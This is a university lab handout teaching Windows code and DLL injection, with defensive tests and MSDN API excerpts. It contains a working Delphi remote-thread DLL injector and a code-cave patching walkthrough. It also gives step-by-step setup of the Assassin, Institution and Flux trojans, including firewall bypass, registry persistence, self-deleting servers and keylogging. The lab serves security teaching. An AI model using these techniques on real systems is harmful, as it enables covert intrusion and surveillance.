DLL Injecting
DLL Injecting
DLL Injecting
Goal:
The goal of this lab is to examine various methods of Code and DLL injection as well as countermeasures to stop such attacks.
Summary:
This lab will introduce the concepts of Code and DLL Injection as well as explore Trojans that apply these techniques, how Trojans use them, and some defensive techniques.
Code and DLL injection refer to a method for attackers to manipulate programs and processes to execute another program. DLL injection provides a manner for attributing the malicious .dll to running processes. Processes are tasks that are being handled by the operating system. DLL are Dynamic Link Libraries, are shared code that may be executed by a running process. There are two kinds of injection: static and dynamic injection. Static injection occurs prior to program execution. Dynamic injection occurs when processes are loaded into memory.
Prelab Questions:
None.
Lab Scenario:
During this lab we will be working with a copied image of your winXPPro virtual machine in case the windows installation is damaged during the lab. Make sure vmware is not running while copying the image. To do this, please follow the instructions below. On the Redhat 8.0 host machine: # mkdir /root/winXPPro-copy # cp r /root/winXPPro/* /root/winXPPro-copy/ After waiting ~5 minutes, the copying will finish. Now vmware must be configured to use the new image. Start up vmware. Click on File New New Virtual Machine.
Make sure you scroll all the way to the bottom of both, the process window and the dll window. Now start Internet Explorer. While you do that, watch what happens in the Process Explorer Window. It should be showing the IEXPLORE.EXE process. When it shows something in green it means something is being loaded. When it shows something in red it means it is being unloaded. Select the IEXPLORE.EXE process with your mouse and look at the DLL window at the bottom of PE. QWU.2: Write down 3 .dll libraries that were loaded by Internet Explorer. Try to familiarize yourself with the .dll's loaded by IE (it is a lot, so do not memorize them, just familiarize with the dll's as you will see them again and again in this lab).
On the right part of the screen you will see the Register values. The EIP register is a pointer to the next command that will execute. In this case it should store the Module Entry Point. Q1.1: Write down the Winmine entry point address. The memory space of winmine.exe contains a lot of useful information, but it also contains areas with no useful information whatsoever. These areas are full of noop operations (\x00's). These areas could be modified to add code without corrupting winmine.exe. In OllyDbg, on the left upper window (right below the menu), scroll down until you find a big group of noops put together where you have enough space to add your code. The place you find is called a 'cave', as seen in Figure 1.1.
Figure 1.1. A Cave show in OllyDbg. Q1.2: Write down the address of the first NOOP that forms part of a 'cave'.
Now in the 'cave' we found we will add a Message Box call. The function call is: MsgBoxA(0,I am a Trojan,I am a Trojan,0) So this is the ASM code for doing that: Push 0 Push I am a Trojan Push I am a Trojan Push 0 Call User32.MessageBoxA In Machine Code we go to an even lower level...we must allocate space for the I am a Trojan string and then push the address of this allocated memory by doing a Push <Address> We will now add the code. Highlight a bunch (about 20) of NOOPs from the cave. Right click and select Binary->Edit. Now on the Ascii field simply type in I am a Trojan. Figures 1.2 and 1.3 show these steps.
Figure 1.3. Binary Edit window. You will now get some garbage on OllyDbg. Do not worry. Olly needs to reanalyze this code. Press CTRL + A to analyze the code. After this, you should see I am a Trojan in some address. Q1.3: Write down the address where you added the string. Now below the address where you added your string, double click on one of the DB 00 fields. You will get an Assemble at <Address> window. Type in: push 0 and press Assembler. A new Assemble at <Address+1> will appear. Now type in: push MYADDRESS where MYADDRESS is the address where your string is located (your answer to Q1.5). In the next address you should type: push MYADDRESS again (because you are pushing the same string 2 times, once for the header of the box once for the message in the box). On the next address we type in: push 0 again. Finally we have to call the actual function call, so on the next address type: call user32.MessageBoxA Figure 1.4 shows the Assemble window where you can input the instructions. 6
Figure 1.4. Assemble window. Q1.4: Write the address where you added the first 'push 0'. Now press the '*' key in your numpad, this will take you to the top of the window (the origin). Select the first 6 instructions, highlight them and then press CTRL + C (since we will be modifying some commands, we want to make sure we have a backup). Paste this code into notepad. Now we will overwrite some code. Double click on the Origin instruction (the first instruction) and type in: JMP CODEADDRESS where CODEADDRESS is the address where your code starts (your answer to Q1.6). You will notice that more than one line got edited. The edited lines will be in red. Compare the first few lines with your copy in Notepad and delete the lines that are duplicated from Notepad. The lines that are not duplicated we will need to add again somewhere. Q1.5: Write the address of the first line after the JMP (The first NOOP) It is important to keep this address because what the program will do is read the EIP register. This points to the line where we added the JMP. The JMP will redirect the PC to the new code. The new code will execute, and then we want to jump back to the address you just wrote down so that normal execution continues as if nothing had happened. However, before we return to normal execution, we have to add the code that we overwrote. So we add this at the end of our code before we jump back to the beginning of the code. Go to back to the origin. Highlight the origin instruction, and right click with your mouse. Then press Follow. This will take you to the address to which the origin jumps. If you have done everything correctly so far, this should take you to the beginning of your code (The first push 0).
Now we need to add the code that was overwritten (you have it in your notepad, remember?). Add the remaining instructions from notepad at the end (immediately after the Call MessageBox command). Note: If it says something like 'PUSH winmine.1234567' in notepad, just type in 'push 1234567'). Now at the last line of the new code insert the command JMP SECONDADDRESS where SECONDADDRESS is the address of the second line, or the line after the origin (your answer to Q1.7). Now right click and go to Copy to executable -> All Modifications. On the window that appears select: Copy All A new window will appear. Click yes to save modifications. Save as a different name (winminealtered.exe or something like that). Now press Run (the play button at the top of Olly). The Message Box should have appeared and then Winmine. SS1.1: Take a screenshot of your Message Box on top of Winmine and turn in with the lab report. We have already seen how static code injection works. The previous example could have been used to load a .dll library rather than displaying a message box. That would have been static dll injection. Q1.6: Give one scenario where static dll injection could be used to trick a user into giving a malicious program permission to access the internet (hint: think static injection and peer to peer networks).
Remember our section exploring processes? We will now try to load a .dll into a process. For this we will install DiamondCS APM (Advanced Process Manipulation). (http://diamondcs.com.au/index.php?page=apm). Execute apm.exe. Install into a directory of your choice (c:\...yourchoice\...\APM). It should say installation was successful. Click OK. It should now show you the window of the directory into which it installed APM. Now start APM. Once again you should see a list of running processes along with their Process ID number. Select explorer.exe. Make sure apm.dll is not present. If it is for some strange reason, right click on top of it and select Unload DLL. Now right click on top of explorer.exe on the APM window and select Load DLL. Now select apm.dll from the APM directory. It should show success. Now use PE to make sure the dll has been loaded. Q2.1: Write the description, Company Name, and version PE shows of apm.dll loaded into explorer.exe.
Advanced Process Manipulation lets you load dlls into processes So how are .dlls injected dynamically anyway? Microsoft's Platform SDK provides some API calls to manipulate processes. Let's look at a couple of interesting ones. Their specifics are found in Appendix A. Make sure you read it and understand it before proceeding: OpenProcess: opens an existing process object LoadLibrary: maps the specified executable module into the address space of the calling process (yes, a .dll is a module) VirtualAllocEx: reserves or commits a region of memory within the virtual address space of a specified process
WriteProcessMemory: writes data to an area of memory in a specified process. The entire area to be written to must be accessible, or the operation fails. CreateRemoteThread: creates a thread that runs in the virtual address space of another process So by now you should know that processes are not too hard to intrude. A program, when executed, can dynamically load a dll module into a running process by doing the following: Open a process using OpenProcess. One of the parameters is the Process ID which you can get from using PE from the previous section. Next, Allocate memory using VirtualAllocEx (one of the parameters of VirtualAllocEx will be the process opened by OpenProcess) Write something into the memory space we allocated within the process. We will pass in the Process into which we want to write, the address of the memory into which we want to write (we already have all of those), the number of bytes to write, and a pointer to the DLL we want to load. Now we will create a new thread which will call a function. The address of the function is the address of LoadLibrary and as parameters we pass the address of the memory we allocated...so the process will call the code we injected into the process. We do this using CreateRemoteThread and passing in the addresses. Follows a simple example created by Aphex: (www.iamaphex.net)
program Project1; uses Windows; var PID, BytesWritten, Process, Thread, ThreadId: dword; Paramaters: pointer; DLL: pchar; function xCreateRemoteThread(hProcess: dword; lpThreadAttributes: Pointer; dwStackSize: dword; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: dword; lpThreadId: dword): dword; stdcall; external 'RT.dll'; function xVirtualAllocEx(hProcess: dword; lpAddress: Pointer; dwSize: dword; flAllocationType: dword; flProtect: dword): Pointer; stdcall; external 'RT.dll'; function xVirtualFreeEx(hProcess: dword; lpAddress: Pointer; dwSize: dword; dwFreeType: dword): boolean; stdcall; external 'RT.dll'; begin
10
DLL := 'c:\Inject\Library.dll'; //full path! PID := 1784; //process id! Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID); Paramaters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(Process, Paramaters, Pointer(DLL), 4096, BytesWritten); Thread := xCreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Paramaters, 0, ThreadId); WaitForSingleObject(Thread, INFINITE); xVirtualFreeEx(Process, Paramaters, 0, MEM_RELEASE); CloseHandle(Thread); CloseHandle(Process); end.
Now look at Appendix B. In there there is code for a DLL Injector which injects DLL.dll. (http://www.codeproject.com/dll/DLL_Injection_tutorial.asp). Q2.2: Look at the source code of EXE.cpp and identify in which line the dll is injected.
We have compiled the code for you. Look into the Injector_src/EXE/Debug folder and Run EXE.exe (make sure DLL.dll is in the right directory, you can find this directory in the source code for EXE.cpp). As soon as EXE.exe is executed an Internet Explorer window should come up. The DLL in this example is actually not loaded because we are using Windows XP and there is a security issue with the isBadWritePtr() function. However in earlier versions of Windows it would have injected successfully. Now we will look at the code for a different injector. APISPY32. (http://www.internals.com/articles/apispy/apispy.htm). The code may be found on Appendix C. APISPYLD.CPP creates a CdebugInjector object which does the actual injecting. So open DebugInjector.cpp. Now go all the way down until you find the PlaceInjectionStub(void) function. Q2.4: Describe a) where LoadLibraryA is loaded, b) what WriteTargetMemory function does (look for the function in the same file), and c) why are we changing the EIP register? (hint, remember our static injection?).
11
Now let us see if the code we looked at works. Execute APISPYLD.exe from the APISPY32 directory and select the Internet Explorer iexplore.exe. Make sure PE is open and press Run. Observe the IE process that appears and the .dll it loads (APISPY32.DLL).
Updating System. Now wait while it installs. Then you will have to restart the XP machine. Immediately as soon Windows XP starts you may get some Sygate Personal Firewall Pro access permission requests. (so and so is tryint to broadcast to blah blah blah...). For now just click NO in all of those, but make sure Remember my answer is NOT checked. On the Register window press Register Later. Now we will install Atelier Web Firewall Tester (AWFT) (http://www.atelierweb.com/awft/). Unzip awft31.zip into your directory of choice. Once that is done, run the setup file. Click yes to install. Click Next. Select a destination folder. Keep on clicking next until it installs. Finish. Select to launch the Tester upon completion. The tester has 6 tests. Tests 2 through 6 use DLL Injection (http://www.atelierweb.com/awft/index.htm). Run these tests. See what the final score is of your Firewall vs. AWFT. What the tests try to do is basically use DLL injection to use Internet Explorer (or any process with privileges on port 80 for 5 and 6) in order to access the internet bypassing firewall security. AWFT makers claim that most firewalls will fail. Q3.1 (May be extra credit depending on Dr. Owen): What was the score of your Firewall? A High score for your firewall means your firewall is good. Can your firewall stop dll Injected processes? Now let us look at some trojans and see why DLL Injection is dangerous. Trojan Examples First we will explore Assassin 2.0 (http://www.evileyesoftware.com/ees/content.php? content.11). This is a trojan that can use DLL Injection to bypass firewalls. Unzip the file YXNzYXNpbjIuemlw.zip. The filename is also the password of the zip file. Now click on the client.exe. Click Yes if you agree to the disclaimer. Close the FTP Updater window. Go to File-> New Server On the window that pops up, click on Server Type. Change the exe name to anything....we suggest something easy to remember i.e. Killer.exe. Make sure Firewall Bypass is enabled (this is so that the DLL Injection feature is installed on the server).
13
Inject to should specify Internet Explorer. That means that the server will inject Internet Explorer. Go to Direct Connection and click on Use Safety Port. This is so that the server can connect directly to your machine. Type port 1234 and the IP address of your client (WindowsXP Copy). Now click on Startup Methods and select start on Windows Registry Startup Run. For Key enter test.exe. Now click on Extra Settings. Leave everything as is except that you must enter a password. Enter 'password' as your password. Now click on Save and save the server as an .exe file (i.e. Myserver.exe). Now use netcat, as described in Appendix D, to transfer the server to the XPCopy machine. Now on the client close the Server Creator window. Click on the Direct Connect (the first icon with the blue exclamation sign). On IP address enter your server IP address. On port enter 1234. Enter the password you selected. On YOUR IP enter the client IP. On port enter 1234. Click on Add Port on the first icon in the toolbar above the Menu whose first line says Plugin Settings. Enter 1234 (or whatever port you had selected). Now go to Options in the main menu, then click on Settings. Select the Passwords tab. Enter a new password as 'password' or whatever password you used in creating the server. Now a connection could have been made. For now we are only interested in the injected DLLs. So run the server on the actual machine where the client is (WindowsXP machine). Now go to Process Explorer. You should have an IEXPLORER process. If you have more than one you may need to look at more than one. Notice that a 0.dll (or 1.dll or 2.dll) has been loaded by Internet Explorer. What is this? You may ask. Go to the Assassin directory. And then go to the dll directory. Hmmm....guess what you can find in there.....this is evidence of the dll injection. The 0.dll in actuality comes from there but is not loaded from there. It is loaded from a directory that was installed by the Assassin server under C:\Windows\Win Types (or whatever directory was specified by you when creating the server). Internet Explorer should now be trying to establish a connection with the outside world. SS3.1: Submit a screenshot of PE showing 0.dll. Now we will explore Institution 2004 by Aphex (iamaphex.cjb.net).
14
Unzip the file I2K4-0.4.0.zip into a directory of your choice in your main Windows XP machine. Now run client.exe. Select File New Server. Enter the IP address of the machine you are using. This will be the client. Enter a numeric Port: 1234 is recommended. Make sure you write down what port you will be using: QUESTION: Write Down the Port you will be using Enter a unique name for the server: Enter any name. Enter a name for the service: Enter any name. Click yes to copy the server file into the system folder when installed. Now select a destination for the server file and a name (iserver.exe is recommended). Now you will have to send the server to your Windows XP Copy machine using netcat. In the Windows XP Copy machine, run the server. In the Windows XP Client machine, in the Institution Client select Options and Service Port. Enter the same number your wrote down (the one you used for the server). Now go to Options and set Listen Active to on. Any time soon the client should detect a connection with the server. If you right click in the connection you can now do all kinds of stuff with the server such as manipulating files, manage processes (if you right click it will give you the option of patching a process and you can select a file to patch it with...sound familiar?), manage the registry, etc. We will not go into detail into this functions since the purpose of this lab is to understand code injection, not to learn to use this RAT trojan. Now we will switch roles. Now the XP machine will be the server and the XP Copy machine will be the client. Use netcat to send the I2K4-0.4.0.zip file to the XP Copy machine. Unzip the machine and follow the above procedures to produce a server file and send it to the XP Machine. Then, configure the client in the XP Copy machine properly. The server should be able to establish a connection with the client regardless of the firewall or at least it will create a process by the name of the service that was established that will try to get privileges from the Firewall. Look at the Firewall log, it should show
15
your service name (service.exe) as requesting privileges. Notice a process was started with the name for the service you selected in the client. This process creates the connection. SS3.2: Take a screenshot of the Firewall showing this process spawned by Institution. Now we will play with Flux (http://www.evileyesoftware.com/ees/content.php? content.46). Flux is a RAT that uses dynamic code injection (not DLL injection) to bypass firewalls. It injects connection code directly into processes, making it harder to detect than DLL injection. It may use MSN Messenger, Internet Explorer, or any specified application (Kazaa, etc.) to inject into. Unzip Zmx1eC56aXA.zip into a directory of your choice. It will ask you for a password, the password is the name of the zip file without the .zip (Zmx1eC56aXA). It is cap sensitive. Now, click on Flux. Read the disclaimer and click I agree (if you agree). Go to File and select New Server. This will do guess what....create a New Server. In Installation field, select Windows. Enter a filename for the server file. Lets make it easy, lets use myfluxserver.exe. In the Startup field select: Autostart with windows (this will make the server start everytime a computer is booted up). You must also supply a key that will be added to the registry...we choose fluxisdangerous. Persistant server (this will make the server hard to delete/remove) Melt server (this will make the server file to be deleted once it is executed. Leave the Connection port as is, but you have to add a password. We suggest the hardto-guess word password. On Connect to enter the IP address of the XP machine you will use as Client. Under Identification select your group number as Group## (example...Group: Group31) and the same for under Name.
16
OK, now on to the important part. The Firewall bypassing part. Guess what this is... CORRECT, it is using code Injection (not DLL injection in this case) to bypass a firewall. Make sure Inject to has Default Brower and MSN Messenger checked. Now we are ready to create the server. Uncheck the Compress to server and click Save. Now you may close the New Server window by pressing the X at the top right corner. Now click on Options and Settings and add your password into the Password field. Check the Enable keylogger on connect. Leave the other fields as is (The port should be the default 2001 and the MSN style notifier and Colour activity should be checked. Timeout set to 15000 and double clicking brings up file manager. Now the server was created on your Flux directory as server.exe. Now you will need to send it to your other XP machine in VMWare. In order to do this you may use netcat, the TCP/IP swissknife. Q3.2: Write the size of the created server file.
Now run server.exe from the destination machine. Since we had selected the melt option, the file will delete itself after installation. Once this is done, and if the client is running in the other XP machine, you will receive a message MSN style indicating SERVER has logged on. Now you can do all sorts of stuff with the Client like log keystrokes and capture screenshots. But that is not the purpose of this lab. The purpose of this lab is to show how Injection is used. We have seen how a connection is established without a firewall. Now lets try to do this a different way. Lets install a Firewall on the Server machine. Use netcat, as shown above, to transfer the flux zip file into the previous Source machine. We will now switch roles, the previous Server will now be the Client and the previous Client will now be the server. Our client is now a machine with a Firewall. Follow the same procedures to set up the client and the server. Now as soon as the server runs on the firewall-protected machine, Internet Explorer will launch. Q3.3: Why does Internet Explorer launch as soon as the server is executed?
However a connection will not succeed. But I thought Flux did injection to override the firewall? you may ask. Yes it does. It actually does get through the firewall. What
17
does not get through the firewall is the data sent back by Flux from the client. To verify this open up the Firewall. Click on Logs. You should see some incoming packets from the client blocked. But outgoing packets are allowed. Q3.4: Why are outgoing packets allowed?
SS.3.3: Take a screenshot of the Firewall log showing the blocked incoming packets and non-blocked outgoing packets and turn in with your lab report.
18
It will say your data needs to be updated. Do not worry about this. So Institution should have been detected. But wait....Assassin and Flux are nowhere to be found. But wait....are you going to give up THAT easily? Let's try again with a different configuration... Click on Configuration. On the Startup tab make sure everything is checked except for Boost TDS Process and Boost TDS Token. Select Minimize TDS to Windows Taskbar, Run at Windows Startup yes, and Startup State normal. Save. Now click on the Scan Control button. Select the Scan Options Tab Make sure everything is checked except for: Scan for Clients\EditServers Scan NTFS Show all NTFS Now go to Generic Detection Make sure Anti-Trojan is selected but Anti-Worm is not. Set sensitivity almost to High but not completely (one block less than completely high). Go back to Scan options, save configuration and exit. You might have to reload TDS. Now go to System testing and select Full System scan. Now you should be able to detect everything. SS4.1: Take a screenshot of TDS detecting Assassin DLLs and turn in with your lab report. You may now select to delete some files. Special thanks are in order to Nautilus (http://home.arcor.de/scheinsicherheit/dll.htm) for his very helpful website and for providing us with directions as to what Trojans use code/dll injection and where to find them.
19
20
The following method descriptions were obtained from Microsofts MSDN Network (http://msdn.microsoft.com).
OpenProcess
The OpenProcess function opens an existing process object.
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
Parameters dwDesiredAccess [in] Access to the process object. This access right is checked against any security descriptor for the process. This parameter can be one or more of the process access rights. bInheritHandle [in] If this parameter is TRUE, the handle is inheritable. If the parameter is FALSE, the handle cannot be inherited. dwProcessId [in] Identifier of the process to open. Return Values If the function succeeds, the return value is an open handle to the specified process. If the function fails, the return value is NULL. To get extended error information, call GetLastError. Remarks The handle returned by the OpenProcess function can be used in any function that requires a handle to a process, such as the wait functions, provided the appropriate access rights were requested. When you are finished with the handle, be sure to close it using the CloseHandle function. Example Code
21
For an example, see Taking a Snapshot and Viewing Processes. Requirements Client: Requires Windows XP, Windows 2000 Professional, Windows NT Workstation, Windows Me, Windows 98, or Windows 95. Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server. Header: Declared in Winbase.h; include Windows.h. Library: Link to Kernel32.lib. DLL: Requires Kernel32.dll. See Also AssignProcessToJobObject, CloseHandle, CreateProcess, CreateRemoteThread, DuplicateHandle, GetCurrentProcess, GetCurrentProcessId, GetExitCodeProcess, GetModuleFileNameEx, GetPriorityClass, Process and Thread Functions, Processes and Threads Overview, ReadProcessMemory, SetPriorityClass, SetProcessWorkingSetSize, TerminateProcess, VirtualProtectEx, WriteProcessMemory
LoadLibrary
The LoadLibrary function maps the specified executable module into the address space of the calling process. For additional load options, use the LoadLibraryEx function.
HMODULE LoadLibrary( LPCTSTR lpFileName );
Parameters lpFileName [in] Pointer to a null-terminated string that names the executable module (either a .dll or .exe file). The name specified is the file name of the module and is not related to the name stored in the library module itself, as specified by the LIBRARY keyword in the module-definition (.def) file. If the string specifies a path but the file does not exist in the specified directory, the function fails. When specifying a path, be sure to use backslashes (\), not forward slashes (/). 22
If the string does not specify a path, the function uses a standard search strategy to find the file. See the Remarks for more information. Return Values If the function succeeds, the return value is a handle to the module. If the function fails, the return value is NULL. To get extended error information, call GetLastError. Windows Me/98/95: If you are using LoadLibrary to load a module that contains a resource whose numeric identifier is greater than 0x7FFF, LoadLibrary fails. If you are attempting to load a 16-bit DLL directly from 32-bit code, LoadLibrary fails. If you are attempting to load a DLL whose subsystem version is greater than 4.0, LoadLibrary fails. If your DllMain function tries to call the Unicode version of a function, LoadLibrary fails. Remarks To enable or disable error messages displayed by the loader during DLL loads, use the SetErrorMode function. LoadLibrary can be used to map a DLL module and return a handle that can be used in GetProcAddress to get the address of a DLL function. LoadLibrary can also be used to map other executable modules. For example, the function can specify an .exe file to get a handle that can be used in FindResource or LoadResource. However, do not use LoadLibrary to run an .exe file, use the CreateProcess function. If the module is a DLL not already mapped for the calling process, the system calls the DLL's DllMain function with the DLL_PROCESS_ATTACH value. If DllMain returns TRUE, LoadLibrary returns successfully. If DllMain returns FALSE, the system unloads the DLL from the process address space and LoadLibrary returns NULL. It is not safe to call LoadLibrary from DllMain. For more information, see the Remarks section in DllMain. Module handles are not global or inheritable. A call to LoadLibrary by one process does not produce a handle that another process can use for example, in calling GetProcAddress. The other process must make its own call to LoadLibrary for the module before calling GetProcAddress. If lpFileName does not include a path and there is more than one loaded module with the same base name and extension, the function returns a handle to the module that was loaded first.
23
If no file name extension is specified in the lpFileName parameter, the default library extension .dll is appended. However, the file name string can include a trailing point character (.) to indicate that the module name has no extension. When no path is specified, the function searches for loaded modules whose base name matches the base name of the module to be loaded. If the name matches, the load succeeds. Otherwise, the function searches for the file. The search order used depends on the setting of the HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode value. Windows 2000/NT and Windows Me/98/95: The SafeDllSearchMode value does not exist. If SafeDllSearchMode is 1 (the default), the search order is as follows: 1. The directory from which the application loaded. 2. The system directory. Use the GetSystemDirectory function to get the path of this directory. 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. Windows Me/98/95: This directory does not exist. 4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory. 5. The current directory. 6. The directories that are listed in the PATH environment variable. If SafeDllSearchMode is 0, the search order is as follows: 1. The directory from which the application loaded. 2. The current directory. 3. The system directory. Use the GetSystemDirectory function to get the path of this directory. 4. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. Windows Me/98/95: This directory does not exist. 5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory. 6. The directories that are listed in the PATH environment variable. Windows XP: The default value of HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode is 0 (the current directory is searched before the system and Windows directories).
24
The first directory searched is the one directory containing the image file used to create the calling process (for more information, see the CreateProcess function). Doing this allows private dynamic-link library (DLL) files associated with a process to be found without adding the process's installed directory to the PATH environment variable. The search path can be altered using the SetDllDirectory function. This solution is recommended instead of using SetCurrentDirectory or hard-coding the full path to the DLL. If a path is specified and there is a redirection file for the application, the function searches for the module in the application's directory. If the module exists in the application's directory, LoadLibrary ignores the specified path and loads the module from the application's directory. If the module does not exist in the application's directory, LoadLibrary loads the module from the specified directory. For more information, see Dynamic Link Library Redirection. If you call LoadLibrary with the name of an assembly without a path specification and the assembly is listed in the system compatible manifest, the call is automatically redirected to the side-by-side assembly. The Visual C++ compiler supports a syntax that enables you to declare thread-local variables: _declspec(thread). If you use this syntax in a DLL, you will not be able to load the DLL explicitly using LoadLibrary or LoadLibraryEx. If your DLL will be loaded explicitly, you must use the thread local storage functions instead of _declspec(thread). Example Code For an example, see Using Run-Time Dynamic Linking. Requirements Client: Requires Windows XP, Windows 2000 Professional, Windows NT Workstation, Windows Me, Windows 98, or Windows 95. Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server. Header: Declared in Winbase.h; include Windows.h. Library: Link to Kernel32.lib. DLL: Requires Kernel32.dll. Unicode: Implemented as LoadLibraryW (Unicode) and LoadLibraryA (ANSI). Note that Unicode support on Windows Me/98/95 requires Microsoft Layer for Unicode.
25
VirtualAllocEx
The VirtualAllocEx function reserves or commits a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero, unless MEM_RESET is used.
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
Parameters hProcess [in] The handle to a process. The function allocates memory within the virtual address space of this process. You must have PROCESS_VM_OPERATION access to the process. If you do not, the function fails. lpAddress [in] The pointer that specifies a desired starting address for the region of pages that you want to allocate. If you are reserving memory, the function rounds this address down to the nearest multiple of the allocation granularity. If you are committing memory that is already reserved, the function rounds this address down to the nearest page boundary. To determine the size of a page and the allocation granularity on the host computer, use the GetSystemInfo function. If lpAddress is NULL, the function determines where to allocate the region. dwSize [in] The size of the region of memory to allocate, in bytes. If lpAddress is NULL, the function rounds dwSize up to the next page boundary. If lpAddress is not NULL, the function allocates all pages that contain one or more bytes in the range from lpAddress to (lpAddress+dwSize). This means, for example, that a 2-byte range that straddles a page boundary causes the function to allocate both pages.
26
flAllocationType [in] The type of memory allocation. This parameter must contain one of the following values. Value Meaning Allocates physical storage in memory or in the paging file on disk for the specified region of memory pages. The function initializes the memory to zero. MEM_COMMIT An attempt to commit a memory page that is already committed does not cause the function to fail. This means that you can commit a range of pages without first determining the current commitment state of each page. Reserves a range of the process's virtual address space without allocating any actual physical storage in memory or in the paging file on disk. Other memory allocation functions, such as malloc and LocalAlloc, cannot use a reserved range of memory until it is released. You can commit reserved memory pages in subsequent calls to the VirtualAllocEx function. Specifies that the data in the memory range specified by lpAddress and dwSize is no longer of interest. The pages should not be read from or written to the paging file. However, the memory block will be used again later, so it should not be decommitted. This value cannot be used with any other value. Using this value does not guarantee that the range operated on with MEM_RESET will contain zeroes. If you want the range to contain zeroes, decommit the memory and then recommit it. When you use MEM_RESET, the VirtualAllocEx function ignores the value of fProtect. However, you must still set fProtect to a valid protection value, such as PAGE_NOACCESS. VirtualAllocEx returns an error if you use MEM_RESET and the range of memory is 27
MEM_RESERVE
MEM_RESET
mapped to a file. A shared view is only acceptable if it is mapped to a paging file. This parameter can also specify the following values as indicated. Value Meaning Allocates physical memory with read-write access. This value is solely for use with Address Windowing Extensions (AWE) memory. This value must be used with MEM_RESERVE and no other values. Allocates memory at the highest possible address.
MEM_PHYSICAL
MEM_TOP_DOWN
flProtect [in] The memory protection for the region of pages to be allocated. If the pages are being committed, you can specify any one of the memory protection options, along with PAGE_GUARD or PAGE_NOCACHE, as needed. Return Values If the function succeeds, the return value is the base address of the allocated region of pages. If the function fails, the return value is NULL. To get extended error information, call GetLastError. Remarks Each page has an associated page state. The VirtualAllocEx function can perform the following operations:
Commit a region of reserved pages Reserve a region of free pages Simultaneously reserve and commit a region of free pages
VirtualAllocEx cannot reserve a reserved page. It can commit a page that is already committed. This means you can commit a range of pages, regardless of whether they have already been committed, and the function will not fail. You can use VirtualAllocEx to reserve a block of pages and then make additional calls to VirtualAllocEx to commit individual pages from the reserved block. This enables a process to reserve a range of its virtual address space without consuming physical storage until it is needed.
28
If the lpAddress parameter is not NULL, the function uses the lpAddress and dwSize parameters to compute the region of pages to be allocated. The current state of the entire range of pages must be compatible with the type of allocation specified by the flAllocationType parameter. Otherwise, the function fails and none of the pages is allocated. This compatibility requirement does not preclude committing an already committed page; see the preceding list. To execute dynamically generated code, use VirtualAllocEx to allocate memory and the VirtualProtectEx function to grant PAGE_EXECUTE access. The VirtualAllocEx function can be used to reserve an Address Windowing Extensions (AWE) region of memory within the virtual address space of a specified process. This region of memory can then be used to map physical pages into and out of virtual memory as required by the application. The MEM_PHYSICAL and MEM_RESERVE values must be set in the AllocationType parameter. The MEM_COMMIT value must not be set. The page protection must be set to PAGE_READWRITE. The VirtualFreeEx function can decommit a committed page, releasing the page's storage, or it can simultaneously decommit and release a committed page. It can also release a reserved page, making it a free page. Requirements Client: Requires Windows XP, Windows 2000 Professional, or Windows NT Workstation 4.0. Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server 4.0. Header: Declared in Winbase.h; include Windows.h. Library: Link to Kernel32.lib. DLL: Requires Kernel32.dll.
29
WriteProcessMemory
The WriteProcessMemory function writes data to an area of memory in a specified process. The entire area to be written to must be accessible, or the operation fails.
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten );
Parameters hProcess [in] Handle to the process whose memory is to be modified. The handle must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process. lpBaseAddress [in] Pointer to the base address in the specified process to which data will be written. Before any data transfer occurs, the system verifies that all data in the base address and memory of the specified size is accessible for write access. If this is the case, the function proceeds; otherwise, the function fails. lpBuffer [in] Pointer to the buffer that contains data to be written into the address space of the specified process. nSize [in] Number of bytes to be written to the specified process. lpNumberOfBytesWritten [out] Pointer to a variable that receives the number of bytes transferred into the specified process. This parameter is optional. If lpNumberOfBytesWritten is NULL, the parameter is ignored. Return Values If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error information, call GetLastError. The function will fail if the requested write operation crosses into an area of the process that is inaccessible. Remarks WriteProcessMemory copies the data from the specified buffer in the current process to the address range of the specified process. Any process that has a handle with
30
PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process to be written to can call the function. The process whose address space is being written to is typically, but not necessarily, being debugged. The entire area to be written to must be accessible. If it is not, the function fails as noted previously. Requirements Client: Requires Windows XP, Windows 2000 Professional, Windows NT Workstation, Windows Me, Windows 98, or Windows 95. Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server. Header: Declared in Winbase.h; include Windows.h. Library: Link to Kernel32.lib. DLL: Requires Kernel32.dll.
CreateRemoteThread
The CreateRemoteThread function creates a thread that runs in the virtual address space of another process.
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
